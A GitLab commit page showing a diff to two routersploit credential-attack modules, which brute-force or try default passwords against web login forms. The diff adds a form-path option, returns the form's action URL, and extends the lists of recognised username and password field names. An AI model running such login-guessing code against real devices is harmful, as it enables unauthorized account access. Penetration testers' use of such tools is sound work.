Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
16c873f3
Commit
16c873f3
authored
Apr 26, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Plain Diff
Merge remote-tracking branch 'origin/master'
parents
71c02001
1424ff04
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
40 additions
and
14 deletions
+40
-14
http_form_bruteforce.py
routersploit/modules/creds/http_form_bruteforce.py
+20
-7
http_form_default.py
routersploit/modules/creds/http_form_default.py
+20
-7
No files found.
routersploit/modules/creds/http_form_bruteforce.py
View file @
16c873f3
...
@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
...
@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
form_path
=
exploits
.
Option
(
'same'
,
'same as path or URL Form Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -46,9 +47,15 @@ class Exploit(exploits.Exploit):
...
@@ -46,9 +47,15 @@ class Exploit(exploits.Exploit):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
self
.
attack
()
def
get_form_path
(
self
):
if
self
.
form_path
==
'same'
:
return
self
.
path
else
:
return
self
.
form_path
@multi
@multi
def
attack
(
self
):
def
attack
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()
))
try
:
try
:
requests
.
get
(
url
,
verify
=
False
)
requests
.
get
(
url
,
verify
=
False
)
...
@@ -61,11 +68,15 @@ class Exploit(exploits.Exploit):
...
@@ -61,11 +68,15 @@ class Exploit(exploits.Exploit):
# authentication type
# authentication type
if
self
.
form
==
'auto'
:
if
self
.
form
==
'auto'
:
self
.
data
=
self
.
detect_form
()
form_
data
=
self
.
detect_form
()
if
self
.
data
is
None
:
if
form_
data
is
None
:
print_error
(
"Could not detect form"
)
print_error
(
"Could not detect form"
)
return
return
(
form_action
,
self
.
data
)
=
form_data
if
form_action
:
self
.
path
=
form_action
else
:
else
:
self
.
data
=
self
.
form
self
.
data
=
self
.
form
...
@@ -116,7 +127,7 @@ class Exploit(exploits.Exploit):
...
@@ -116,7 +127,7 @@ class Exploit(exploits.Exploit):
self
.
invalid
[
"max"
]
=
l
self
.
invalid
[
"max"
]
=
l
def
detect_form
(
self
):
def
detect_form
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()
))
r
=
requests
.
get
(
url
,
verify
=
False
)
r
=
requests
.
get
(
url
,
verify
=
False
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
...
@@ -125,20 +136,22 @@ class Exploit(exploits.Exploit):
...
@@ -125,20 +136,22 @@ class Exploit(exploits.Exploit):
if
form
is
None
:
if
form
is
None
:
return
None
return
None
action
=
form
.
attrs
.
get
(
'action'
,
None
)
if
len
(
form
)
>
0
:
if
len
(
form
)
>
0
:
res
=
[]
res
=
[]
for
inp
in
form
.
findAll
(
"input"
):
for
inp
in
form
.
findAll
(
"input"
):
if
'name'
in
inp
.
attrs
.
keys
():
if
'name'
in
inp
.
attrs
.
keys
():
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
,
"username_login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
,
"password_login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
else
:
else
:
if
'value'
in
inp
.
attrs
.
keys
():
if
'value'
in
inp
.
attrs
.
keys
():
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
else
:
else
:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
return
'&'
.
join
(
res
)
return
(
action
,
'&'
.
join
(
res
)
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
module_verbosity
=
boolify
(
self
.
verbosity
)
...
...
routersploit/modules/creds/http_form_default.py
View file @
16c873f3
...
@@ -34,6 +34,7 @@ class Exploit(exploits.Exploit):
...
@@ -34,6 +34,7 @@ class Exploit(exploits.Exploit):
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
form_path
=
exploits
.
Option
(
'same'
,
'same as path or URL Form Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -44,9 +45,15 @@ class Exploit(exploits.Exploit):
...
@@ -44,9 +45,15 @@ class Exploit(exploits.Exploit):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
self
.
attack
()
def
get_form_path
(
self
):
if
self
.
form_path
==
'same'
:
return
self
.
path
else
:
return
self
.
form_path
@multi
@multi
def
attack
(
self
):
def
attack
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()
))
try
:
try
:
requests
.
get
(
url
,
verify
=
False
)
requests
.
get
(
url
,
verify
=
False
)
...
@@ -59,11 +66,15 @@ class Exploit(exploits.Exploit):
...
@@ -59,11 +66,15 @@ class Exploit(exploits.Exploit):
# authentication type
# authentication type
if
self
.
form
==
'auto'
:
if
self
.
form
==
'auto'
:
self
.
data
=
self
.
detect_form
()
form_
data
=
self
.
detect_form
()
if
self
.
data
is
None
:
if
form_
data
is
None
:
print_error
(
"Could not detect form"
)
print_error
(
"Could not detect form"
)
return
return
(
form_action
,
self
.
data
)
=
form_data
if
form_action
:
self
.
path
=
form_action
else
:
else
:
self
.
data
=
self
.
form
self
.
data
=
self
.
form
...
@@ -109,7 +120,7 @@ class Exploit(exploits.Exploit):
...
@@ -109,7 +120,7 @@ class Exploit(exploits.Exploit):
self
.
invalid
[
"max"
]
=
l
self
.
invalid
[
"max"
]
=
l
def
detect_form
(
self
):
def
detect_form
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
get_form_path
()
))
r
=
requests
.
get
(
url
,
verify
=
False
)
r
=
requests
.
get
(
url
,
verify
=
False
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
...
@@ -118,20 +129,22 @@ class Exploit(exploits.Exploit):
...
@@ -118,20 +129,22 @@ class Exploit(exploits.Exploit):
if
form
is
None
:
if
form
is
None
:
return
None
return
None
action
=
form
.
attrs
.
get
(
'action'
,
None
)
if
len
(
form
)
>
0
:
if
len
(
form
)
>
0
:
res
=
[]
res
=
[]
for
inp
in
form
.
findAll
(
"input"
):
for
inp
in
form
.
findAll
(
"input"
):
if
'name'
in
inp
.
attrs
.
keys
():
if
'name'
in
inp
.
attrs
.
keys
():
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
,
"username_login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
,
"password_login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
else
:
else
:
if
'value'
in
inp
.
attrs
.
keys
():
if
'value'
in
inp
.
attrs
.
keys
():
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
else
:
else
:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
return
'&'
.
join
(
res
)
return
(
action
,
'&'
.
join
(
res
)
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
module_verbosity
=
boolify
(
self
.
verbosity
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment